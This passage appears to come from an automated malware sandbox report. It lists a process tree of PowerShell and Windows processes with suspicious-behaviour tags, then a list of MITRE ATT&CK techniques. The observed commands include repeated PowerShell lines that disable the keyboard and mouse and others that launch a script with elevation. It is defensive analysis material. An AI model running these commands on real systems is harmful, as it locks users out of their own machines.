        Command and Scripting Interpreter: PowerShell
        
        PID:4960
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Keyboard' | Disable-PnpDevice -Confirm:$false"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4528
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Start-Process PowerShell.exe -ArgumentList '-File', '.scripts\make_file.ps1' -Verb RunAs"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5548
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -File .scripts\make_file.ps1
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4120
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Mouse' | Disable-PnpDevice -Confirm:$false"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1424
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Keyboard' | Disable-PnpDevice -Confirm:$false"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5316
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Start-Process PowerShell.exe -ArgumentList '-File', '.scripts\make_file.ps1' -Verb RunAs"
        7⤵
        
        PID:3836
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -File .scripts\make_file.ps1
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1476
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Mouse' | Disable-PnpDevice -Confirm:$false"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4180
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Keyboard' | Disable-PnpDevice -Confirm:$false"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4244
      - C:\Windows\PrintDialog\PrintDialog.exe
        
        "C:\Windows\PrintDialog\PrintDialog.exe"
        6⤵
        
        PID:4356
      - C:\Windows\Microsoft.NET\Framework\v3.5\AddInProcess.exe
        
        "C:\Windows\Microsoft.NET\Framework\v3.5\AddInProcess.exe"
        6⤵
        
        PID:4696
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess32.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess32.exe"
        6⤵
        
        PID:840

C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
1⤵
- Suspicious use of SetWindowsHookEx
PID:5936

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:3896

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
1⤵
PID:5472

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:5464

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 4908 -ip 4908
1⤵
- Loads dropped DLL
PID:5452

C:\Windows\msagent\AgentSvr.exe
C:\Windows\msagent\AgentSvr.exe -Embedding
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies Control Panel
- Modifies Internet Explorer settings
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:1012

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 4900 -ip 4900
1⤵
- Loads dropped DLL
PID:4888

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
1⤵
PID:2712

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:2600

C:\Windows\System32\PickerHost.exe
C:\Windows\System32\PickerHost.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:6020

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

AppInit DLLs

T1546.010

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

AppInit DLLs

T1546.010

Netsh Helper DLL

T1546.007

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

Subvert Trust Controls

T1553

SIP and Trust Provider Hijacking

T1553.003

System Binary Proxy Execution

T1218

Rundll32

T1218.011

Credential Access

Discovery

Browser Information Discovery

T1217

Network Share Discovery

T1135

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

System Information Discovery